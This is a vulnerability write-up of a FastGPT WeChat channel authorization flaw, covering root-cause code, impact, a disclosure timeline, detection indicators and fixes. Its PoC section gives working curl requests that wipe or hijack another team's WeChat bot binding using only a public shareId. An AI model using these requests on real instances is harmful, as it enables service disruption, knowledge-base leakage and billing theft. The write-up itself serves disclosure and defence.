Your Bot, My Inbox: CVE-2026-68929 — Unauthenticated WeChat Channel Hijack in FastGPT
On August 27, 2026, GitHub’s CNA published CVE-2026-68929, and NVD picked it up the next day with a CVSS 4.0 score of 9.3 Critical. The product is FastGPT — the open-source LLM knowledge-base platform from the labring ecosystem, carrying roughly 29,500 GitHub stars and a self-hosting audience that spans hobby instances to production deployments. The bug class is the oldest one in the book: missing authorization (CWE-862). What makes this particular instance worth an hour of your time is which value the code trusted: the shareId, a string that FastGPT prints into every shared-chat URL, every iframe, and every embed it has ever produced.
The vulnerable surface is FastGPT’s 2026-vintage WeChat share channel — a feature that binds a published FastGPT app to a WeChat bot account through WeChat’s iLink platform, so users can chat with your knowledge base from inside WeChat. The three API endpoints that manage that binding — log out, generate a login QR code, and check QR-code status — authorize mutating, cross-tenant database writes with nothing but the request-supplied shareId. No login. No team check. No ownership check. One of the three doesn’t even call the token-existence helper that the other two lean on.
The consequences come in two flavors. Denial of service: any anonymous caller who knows a victim team’s shareId can wipe the stored WeChat bot token in a single request, taking the team’s WeChat channel offline. Channel hijack: an attacker can generate a login QR code for the victim’s share link, scan it with the attacker’s own WeChat account, and confirm it through the status endpoint — at which point FastGPT writes the attacker’s bot credentials into the victim team’s outLink and starts polling messages against the attacker’s bot. The victim’s app now answers in the attacker’s inbox, its private knowledge-base responses go wherever the attacker points them, and every answer burns the victim team’s AI points.
There is a design lesson in here that keeps repeating across the AI self-hosting ecosystem, and it is the same one we drew from SiYuan’s unauthenticated MCP endpoint and phpIPAM’s cache-key collision: a public identifier is not a capability token. FastGPT’s share links intentionally treat shareId as a read capability — but nobody drew the line when the same identifier started authorizing writes.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-68929 |
| GHSA | GHSA-q4pr-3qpg-9q5v (published August 19, 2026) |
| Affected product | labring/FastGPT — WeChat (iLink) outLink share-channel endpoints |
| Affected versions | ≥ 4.14.10 and < 4.14.29; ≥ 4.15.0 and < 4.15.2 |
| Patched versions | 4.14.29 (July 6, 2026) and 4.15.2 (July 17, 2026) |
| CVSS 4.0 | 9.3 Critical — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (GitHub CNA; mirrored by NVD) |
| CWE | CWE-862 — Missing Authorization; CWE-306 — Missing Authentication for Critical Function |
| Attack requirements | Knowledge of a victim shareId — public by design; for the hijack variant, a WeChat account to scan the QR code |
| Credit | No researcher credit recorded on the CVE or GHSA at time of writing |
| CVE published | August 27, 2026 (CNA: GitHub); NVD August 28, 2026 |
A note on the version ranges, because two branches are involved. The WeChat channel surface shipped in the 4.14 line with v4.14.10 (March 31, 2026). The fix — PR #7260, “fix: secure wechat outlink binding” — landed on July 6, 2026, and was backported into v4.14.29, released the same day, about ten minutes after the merge. The 4.15 development line (branched before the fix) carried the bug through v4.15.0 and v4.15.1 until v4.15.2 shipped the fix on July 17. So: fixed on both lines, well before the advisory went public on August 19 — coordinated disclosure done properly, with one wrinkle we’ll return to in the timeline section.
Background: FastGPT, outLinks, and the WeChat Channel
FastGPT is a TypeScript/Next.js platform for building chat applications on top of a knowledge base: you upload documents, build a RAG workflow in a visual editor, publish it, and FastGPT serves it to users. Teams run it from docker-compose on a VPS just as often as from the commercial cloud offering, and its multi-tenant model — teams, team members, per-app permissions — is the important backdrop for this vulnerability, because the flaw cuts straight across it.
The publishing mechanism is the outLink. When you publish an app, FastGPT creates an outLink document in MongoDB: it references the teamId and tmbId (team member) that own it, the appId it exposes, a type (share link, API access, iframe embed, …), and — centrally to this story — a shareId, a random string that identifies the published link:
// packages/service/support/outLink/schema.ts (abridged)
const OutLinkSchema = new Schema({
shareId: { type: String, required: true },
teamId: { type: Schema.Types.ObjectId, ref: TeamCollectionName, required: true },
tmbId: { type: Schema.Types.ObjectId, ref: TeamMemberCollectionName, required: true },
appId: { type: Schema.Types.ObjectId, ref: AppCollectionName, required: true },
type: { type: String, required: true },
name: { type: String, required: true },
usagePoints: { type: Number, default: 0 },
...
});
OutLinkSchema.index({ shareId: -1 });
Every share-chat URL has the shape https://<host>/chat/share?shareId=<id> — the identifier is handed out to anyone you share the link with, embedded into third-party sites via iframes, and indexed by every crawler that finds it. It is a public, bearer-style read capability by design: knowing the shareId is supposed to let strangers chat with the published app.
In 2026, FastGPT added a new outLink type to that list: the WeChat channel, built on WeChat’s iLink bot platform (https://ilinkai.weixin.qq.com, the default base URL hardcoded into the integration). The flow, from the admin’s point of view:
- In the app’s publish settings, the team admin creates a WeChat outLink for the app.
- The admin requests a login QR code from the platform.
- The admin scans the QR code with their own WeChat account, which registers (or selects) a bot on the iLink platform.
- FastGPT stores the resulting
bot_tokenand bot ID inside the outLink’sappsub-document, marks itonline, and starts a polling loop. - From then on, messages arriving at that WeChat bot are answered by the FastGPT app — the knowledge base talks inside WeChat.
┌────────────────────────── FastGPT instance ──────────────────────────┐
│ │
│ ┌────────────┐ outLink (shareId, teamId, appId) ┌─────────────┐ │
│ │ FastGPT │◄─────────────────────────────────────│ MongoDB │ │
│ │ Next.js │ app.token / app.accountId / │ (outlinks) │ │
│ │ app │ app.status = online └─────────────┘ │
│ └─────┬──────┘ ▲ │
│ │ polling loop │ writes bot creds │
│ ▼ │ │
│ ┌──────────────────┐ ┌─────────┴──────────┐ ┌───────────────┐ │
│ │ WeChat iLink │ │ /api/support/ │ │ Admin browser │ │
│ │ bot platform │ │ outLink/wechat/* │◄──│ (QR login UI) │ │
│ └──────────────────┘ └────────────────────┘ └───────────────┘ │
└────────────────────────────────────────────────────────────────────────┘
The three API endpoints driving steps 2–4 are the vulnerable surface: logout, qrcode/generate, and qrcode/status, all under /api/support/outLink/wechat/. Before looking at them, you need one more piece of context — how FastGPT’s request pipeline handles authentication, because the answer is “it doesn’t.”
The Root Cause: an Existence Check Impersonating an Authorization Check
FastGPT’s NextAPI entry wrapper injects no implicit authentication. Every handler is responsible for calling an auth* helper itself, and a handler that forgets is simply public. The codebase ships a correct, team-scoped helper for outLink management — authOutLinkCrud — which is exactly what an endpoint mutating another team’s outLink should call:
// packages/service/support/permission/publish/authLink.ts (abridged)
export async function authOutLinkCrud({ outLinkId, per, ...props }) {
const result = await parseHeaderCert(props); // ① verifies login token
const { tmbId, teamId } = result;
const outLink = await MongoOutLink.findOne({ _id: outLinkId, teamId }); // ② team-scoped lookup
if (!outLink) return Promise.reject(OutLinkErrEnum.unExist);
if (String(outLink.teamId) !== teamId) // ③ tenant boundary
return Promise.reject(OutLinkErrEnum.unAuthLink);
const { app } = await authAppByTmbId({ tmbId, appId: outLink.appId, per }); // ④ permission check
...
}
Four gates: a verified login, a team-scoped database lookup, a tenant comparison, and a per-app permission check. That is what “authorization” looks like.
The WeChat endpoints don’t use it. They use its sibling, authOutLinkValid — a helper whose entire job is to answer “does this share link exist?” for the public chat endpoints, where anonymous access is the point:
// packages/service/support/permission/publish/authLink.ts (abridged)
export async function authOutLinkValid<T extends OutlinkAppType = any>({ shareId }) {
if (!shareId) return Promise.reject(OutLinkErrEnum.linkUnInvalid);
const outLinkConfig = await MongoOutLink.findOne({ shareId }); // ← that's all
if (!outLinkConfig) return Promise.reject(OutLinkErrEnum.linkUnInvalid);
return { appId: outLinkConfig.appId, outLinkConfig };
}
One findOne keyed on the public identifier. No login, no teamId, no tmbId, no permission. It answers “is this a real share link?”, and the WeChat handlers treated that answer as “is the caller allowed to rewire this share link?”
The <WechatAppType> generic you’ll see threaded through the vulnerable calls is worth a remark, because it is a neat specimen of type-shaped confidence: it constrains the TypeScript type of the returned outLink at compile time and does absolutely nothing at runtime. The code looks scoped; nothing is scoped.
Finding 1 — One-Request, Cross-Tenant DoS via logout
Here is the entire vulnerable handler, verbatim from the 4.15.1-era source (projects/app/src/pages/api/support/outLink/wechat/logout.ts):
async function handler(req: ApiRequestProps<{ shareId: string }>): Promise<void> {
const { shareId } = req.body;
await authOutLinkValid<WechatAppType>({ shareId }); // existence check only
await MongoOutLink.updateOne(
{ shareId }, // keyed on the PUBLIC id
{
$set: {
'app.status': 'offline',
'app.token': '', // wipe the bot token
'app.lastError': ''
}
}
);
}
export default NextAPI(handler);
Read it as an attacker would: the only gate is “does a share link with this shareId exist?” — a question answerable by anyone, about any team’s link, since the identifier is public. If the answer is yes, the handler destroys the stored WeChat credentials: token wiped, status forced to offline. The legitimate bot binding is gone; the polling loop has nothing to poll with. The victim team’s WeChat channel goes dark until an admin notices, logs in, and re-scans a QR code — and nothing stops the attacker from repeating the request the moment they do.
One unauthenticated POST. That’s the whole attack. On a vulnerable instance the response is an empty 200 and a database row quietly vandalized.
Finding 2 — Channel Hijack via qrcode/generate + qrcode/status
The DoS is crude. The elegant one binds the victim’s app to the attacker’s WeChat bot, and it works because the QR-login flow — designed to be driven from the admin console by an authenticated team admin — is keyed on shareId at every step.
The QR generation endpoint leaks the first half of the flow to anyone holding the public identifier:
// projects/app/src/pages/api/support/outLink/wechat/qrcode/generate.ts (abridged)
async function handler(req: ApiRequestProps<{ shareId: string }>) {
const { shareId } = req.body;
await authOutLinkValid<WechatAppType>({ shareId }); // existence check only
const client = new ILinkClient();
const qrData = await client.getQRCode(); // login QR from iLink
await setRedisCache(
`publish:wechat:qrcode:${shareId}`, // keyed on PUBLIC id
JSON.stringify(qrData),
480 // 8-minute TTL
);
return { qrcode: qrData.qrcode, qrcode_img_content: qrData.qrcode_img_content, expireTime: 480 };
}
The confirmation endpoint then has no authorization call at all — not even the existence check:
// projects/app/src/pages/api/support/outLink/wechat/qrcode/status.ts (abridged)
async function handler(req: ApiRequestProps<{}, { shareId: string }>): Promise<{ status: string }> {
const { shareId } = req.query; // from the URL — no auth anywhere
const raw = await getRedisCache(`publish:wechat:qrcode:${shareId}`);
if (!raw) return { status: 'expired' };
const qrData = JSON.parse(raw);
const client = new ILinkClient();
const statusData = await client.getQRCodeStatus(qrData.qrcode);
if (statusData.status === 'confirmed' && statusData.bot_token && statusData.ilink_bot_id) {
await MongoOutLink.updateOne(
{ shareId }, // victim's outLink...
{
$set: {
'app.token': statusData.bot_token, // ...now holds the ATTACKER's token
'app.baseUrl': statusData.baseurl || 'https://ilinkai.weixin.qq.com',
'app.accountId': statusData.ilink_bot_id,
'app.userId': statusData.ilink_user_id || '',
'app.status': 'online',
'app.loginTime': new Date().toISOString(),
...
}
}
);
await delRedisCache(`publish:wechat:qrcode:${shareId}`);
await startWechatPolling(shareId); // polling starts against attacker's bot
}
return { status: statusData.status };
}
Now assemble the attack. The QR code returned by generate is an iLink login QR: whoever scans it with WeChat gets to register the bot that the confirmation binds. The code assumes the scanner is the victim team’s admin, because in the intended flow the admin’s browser initiated the request. Nothing enforces that assumption. So the attacker supplies their own scanner:
- Harvest a
shareId— it’s in the victim’s public share-chat URL (/chat/share?shareId=…), in iframesrcattributes, in embed snippets, in crawler archives. POST /api/support/outLink/wechat/qrcode/generatewith thatshareId— get back a fresh iLink login QR, valid for eight minutes.- Scan the QR with the attacker’s own WeChat — registering the attacker’s bot on the iLink platform.
- Call
qrcode/statusuntil it reportsconfirmed— at which point the handler writes the attacker’sbot_token,accountIdandbaseUrlinto the victim team’s outLink and starts the polling loop.
From that moment, the victim’s FastGPT app is bridged to the attacker’s WeChat bot. The app’s responses — including everything it retrieves from the team’s private knowledge base — flow to a bot the attacker controls. The legitimate binding is displaced. And every query runs on the victim team’s meter, burning their AI points until someone notices the channel answering to a stranger.
The two findings compose, too: an attacker who wants deniability over destruction can hijack first, harvest whatever the knowledge base will reveal through crafted questions, then call logout and leave the channel dead behind them.
Step-by-Step PoC
The full PoC — including the QR-display helper and a shareId harvester — is published in our repository:
The walkthrough below uses plain curl against a deliberately vulnerable lab so every step is visible. The same requests work against any affected internet-facing deployment; don’t do that.
Lab setup
Deploy FastGPT from the repository’s official compose template for the 4.15 line (deploy/version/v4.15/docker-compose.template.yml), pinning the image tag to v4.15.1 — the last vulnerable release on that branch. The stack brings its own MongoDB and Redis, both of which the WeChat flow depends on. Create an account, build any small app with a knowledge base, publish it, and add a WeChat outLink in the app’s publish settings. Deploying the channel end-to-end (an actual iLink-registered bot) is not required to observe the vulnerable behavior of the endpoints — the authorization defect is fully visible before any scan happens.
Step 1 — Fingerprint the vulnerability safely
You don’t need to touch a real outLink to prove the endpoint is unauthenticated. Send logout with a nonexistent shareId:
$ curl -s -X POST http://localhost:3000/api/support/outLink/wechat/logout \
-H 'Content-Type: application/json' \
-d '{"shareId": "definitely-not-a-real-share-id"}'
On a vulnerable instance, the request passes straight through to the existence check and comes back with FastGPT’s structured error for an unknown link (HTTP 500 with body code: 501):
{"code": 501, "statusText": "linkUnInvalid", "message": "Invalid link", "data": null}
The exact message string depends on the instance’s locale; code 501 / linkUnInvalid is the fingerprint. What matters is what it proves: an anonymous request reached the business logic and was rejected only because the link doesn’t exist. On a patched instance (≥ 4.15.2), the same call fails earlier — the handler now demands a login token and an outLinkId and rejects the anonymous request with an authentication error before any share link is ever consulted.
Step 2 — Kill a channel (DoS)
Against the lab’s real share link (grab the shareId from the outLink you created — it’s the same value the share-chat URL carries):
$ curl -s -X POST http://localhost:3000/api/support/outLink/wechat/logout \
-H 'Content-Type: application/json' \
-d '{"shareId": "<victim_shareId>"}'
A vulnerable instance returns 200 with an empty body. Check the database (or simply reload the publish settings page): the outLink’s WeChat binding is gone — app.status: "offline", app.token: "". The channel the admin configured no longer exists as far as the polling loop is concerned.
Attention! There is no confirmation step, no rate limit tied to the damage, and nothing written to any admin-visible audit trail at the API layer. From the outside this is indistinguishable from the admin clicking “log out” themselves.
Step 3 — Steal a channel (hijack)
Generate a login QR bound to the victim’s shareId:
$ curl -s -X POST http://localhost:3000/api/support/outLink/wechat/qrcode/generate \
-H 'Content-Type: application/json' \
-d '{"shareId": "<victim_shareId>"}'
{
"qrcode": "qrcode-uuid-from-ilink",
"qrcode_img_content": "data:image/png;base64,iVBORw0KGgo...",
"expireTime": 480
}
Write the qrcode_img_content data URL to a file (or open it in a browser) and scan it with your own WeChat account — in a real attack, the attacker’s. Then poll the status endpoint, which takes the shareId as a query parameter and authenticates nobody:
$ curl -s -X POST 'http://localhost:3000/api/support/outLink/wechat/qrcode/status?shareId=<victim_shareId>'
{"status": "confirmed"}
That single confirmed is the sound of the database row changing hands: the outLink now stores your bot_token, accountId and baseUrl, app.status is online, and startWechatPolling(shareId) has begun bridging the victim’s app to the bot you registered. Every message the app answers from this point draws on the victim team’s knowledge base and burns their AI points.
What the fix looks like
The patch (PR #7260) is a textbook remediation, worth reading in full. All three handlers now call authOutLinkCrud with authToken: true and the ManagePermissionVal permission; mutations are keyed on the server-resolved outLink._id instead of the client-supplied shareId; and the QR session in Redis is keyed by getWechatQrcodeCacheKey({ outLinkId, tmbId }) — binding the QR confirmation to the authenticated operator who initiated it. The status endpoint additionally sets Cache-Control: no-store. Re-run Step 1 against a ≥ 4.15.2 instance and the anonymous probe bounces off the login gate.
Impact
The advisory’s CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) reads as: network-reachable, no complexity, no privileges, no user interaction, and full impact on confidentiality, integrity and availability of the outLink resource. The practical breakdown:
| Capability | Mechanism | Victim cost |
|---|---|---|
| Kill any team’s WeChat channel | logout with public shareId |
Channel offline; admin must re-bind; repeatable at will |
| Steal any team’s WeChat channel | generate + own scan + status |
App bridged to attacker’s bot |
| Read private knowledge-base answers | Hijacked channel, crafted questions | Confidential KB content leaves the tenant |
| Burn the victim’s AI points | Queries run on victim’s meter | Direct financial drain |
| Mass harvesting | shareIds public in URLs/iframes/embeds | Enumeration is trivial; no per-target effort |
The cross-tenant character deserves emphasis: shareId is globally unique but globally readable. Nothing about the attack requires any relationship to the victim team — the identifier alone is the entire prerequisite, and the ecosystem’s sharing habits (embeds, iframes, link previews, crawler archives) distribute those identifiers for free.
Disclosure Timeline
| Date | Event |
|---|---|
| March 31, 2026 | v4.14.10 ships — WeChat (iLink) share-channel surface enters the 4.14 release line |
| June 30, 2026 | v4.15.0 ships — vulnerable 4.15 line branches before the fix |
| July 6, 2026 (04:17 UTC) | PR #7260 “fix: secure wechat outlink binding” merges (commit 81d3919) |
| July 6, 2026 (04:27 UTC) | v4.14.29 released — fixed backport, ten minutes after the merge |
| July 17, 2026 | v4.15.2 released — fixed on the 4.15 line |
| August 19, 2026 | GHSA-q4pr-3qpg-9q5v published |
| August 27, 2026 | CVE-2026-68929 published (CNA: GitHub) |
| August 28, 2026 | NVD publishes; CVSS 4.0 9.3 Critical |
This is coordinated disclosure executed well on the vendor side: fixes shipped on both release lines a month before the advisory went public, and anyone tracking FastGPT releases had remediation available since mid-July. The wrinkle is the packaging. The v4.14.29 notes do describe the fix — in Chinese, as a “permission validation” correction for the WeChat channel endpoints — and v4.15.2 lists the PR under its title “fix: secure wechat outlink binding” inside a long changelog. Neither release mentions a vulnerability, a severity, or that anonymous attackers could be killing and stealing channels in the wild; there was no CVE, no advisory, no keyword that release-tracking or CVE-feed tooling would flag. Deployments that patch on security signals rather than on reading every changelog line spent an extra five-plus weeks exposed to a one-request DoS. If your patching policy keys off CVE feeds, this timeline is an argument for also watching the releases of the self-hosted software you run — actually reading them.
Why This Keeps Happening
This is the third missing-authorization flaw in a self-hosted AI-adjacent product we have covered this year, and the pattern is remarkably stable. SiYuan exposed an MCP management endpoint where every handler self-authorized and one forgot. phpIPAM let a public identifier drift into an authentication role. FastGPT combines both genes: a self-authorizing handler and a public identifier promoted to an authorization decision.
The deeper cause is architectural. A public share identifier is a legitimate read capability — that’s what makes share links useful. The failure is letting the same token cross into write and management paths. Reads authorized by shareId are a feature; updateOne({ shareId }, …) is a tenant-boundary violation waiting for its first anonymous caller. The distinction is one line of code in the handler and the entire difference between a share link and a takeover primitive:
For teams building multi-tenant platforms, the audit heuristic this CVE hands you is cheap to run: grep your codebase for every mutation keyed on a client-supplied identifier, and for every identifier that appears in a public URL. Where those two sets intersect, you owe yourself an explicit answer to “why is a stranger not allowed to do this?” — because the framework won’t ask for you. FastGPT’s NextAPI certainly didn’t.
One more observation for the AI-platform generation specifically: every integration a LLM product adds — a messaging channel here, an MCP endpoint there, a tool proxy somewhere else — is a fresh crop of management endpoints grown onto an existing permission model, usually by developers whose deadline was the integration, not the threat model. The iLink WeChat channel was brand-new 2026 surface, and the advisory notes it sat in a part of the codebase no prior FastGPT advisory had touched, while a whole different subsystem (the HTTP/MCP tool proxies) was busy accumulating its own SSRF cluster. New surface, same old CWE.
Detection and IOCs
If you operate a FastGPT instance that ran an affected version with the WeChat channel feature in use:
| Indicator | Where to look |
|---|---|
POST /api/support/outLink/wechat/logout with no session cookie / from non-admin origins |
reverse-proxy / nginx access logs |
POST /api/support/outLink/wechat/qrcode/status calls for shareIds whose QR flow no admin initiated |
access logs + Redis keys publish:wechat:qrcode:<shareId> on vulnerable versions |
OutLink app.status flipping to offline / app.token emptying without an admin action |
MongoDB outlinks collection history, admin UI |
app.token, app.accountId, app.baseUrl, app.loginTime changing to values no team member set |
MongoDB — a successful hijack writes all four at once |
| Sudden AI-points consumption on apps whose WeChat channel “changed behavior” | FastGPT usage/billing dashboard |
| Knowledge-base content appearing outside the tenant (leaked answers) | incident-specific — assume KB compromise if a hijack is confirmed |
Absence of evidence cuts both ways: nothing at the API layer logged these mutations on vulnerable builds, so a clean access log since July is only as good as its retention.
Remediation
If you run FastGPT:
- Upgrade to ≥ 4.15.2 (or ≥ 4.14.29 if you’re pinned to the 4.14 line). Both lines carry the fix; verify your image tag, not your memory of it.
- If you cannot upgrade immediately, restrict
/api/support/outLink/wechat/*at the reverse proxy to authenticated admin origins — or block the three mutating endpoints outright. The chat-facing share endpoints don’t live under this prefix; the management endpoints have no business being public. - Audit and re-bind: any WeChat outLink that was bound while an affected version was exposed should be treated as suspect. Re-scan the QR binding from a clean session, and compare
app.loginTimevalues against your admins’ activity. - If a hijack is confirmed, treat the knowledge base behind that app as disclosed to whatever party held the channel, and review AI-points consumption for the exposure window.
If you build multi-tenant platforms, the checklist this CVE writes for you:
- Every mutating handler resolves a principal (login), a tenant (ownership), and a permission — in that order, server-side, always. FastGPT already had the correct helper; the bug was calling the wrong sibling.
- Public identifiers (
shareId, embed tokens, share slugs) authorize reads on exactly the resource they name — never writes, never management flows, never anything reachable by enumeration. - In frameworks where authentication is opt-in per handler, missing auth is invisible by construction. Counter it mechanically: route reviews, middleware that denies-by-default, or CI checks that every
updateOne/deleteOnekey traces to a server-resolved principal. - Bind multi-step flows (like QR login) to the authenticated session that started them, not to a public identifier threaded through every step.
Sources
- NVD — CVE-2026-68929: https://nvd.nist.gov/vuln/detail/CVE-2026-68929
- CVE Record (CNA: GitHub): https://www.cve.org/CVERecord?id=CVE-2026-68929
- GitHub Security Advisory GHSA-q4pr-3qpg-9q5v (FastGPT): https://github.com/labring/FastGPT/security/advisories/GHSA-q4pr-3qpg-9q5v
- Fix commit 81d3919 — “fix: secure wechat outlink binding”: https://github.com/labring/FastGPT/commit/81d391995b1f9989455267448872ff88bb1f42c9
- Fix PR #7260: https://github.com/labring/FastGPT/pull/7260
- FastGPT repository (vulnerable sources at parent commit 1862abf): https://github.com/labring/FastGPT
- FastGPT release v4.14.29: https://github.com/labring/FastGPT/releases/tag/v4.14.29
- FastGPT release v4.15.2: https://github.com/labring/FastGPT/releases/tag/v4.15.2
- MITRE CWE-862 — Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- MITRE CWE-306 — Missing Authentication for Critical Function: https://cwe.mitre.org/data/definitions/306.html
- Hunt-Benito PoC repository: https://github.com/Hunt-Benito/your-bot-my-inbox-cve-2026-68929-fastgpt-unauthenticated-wechat-channel-hijack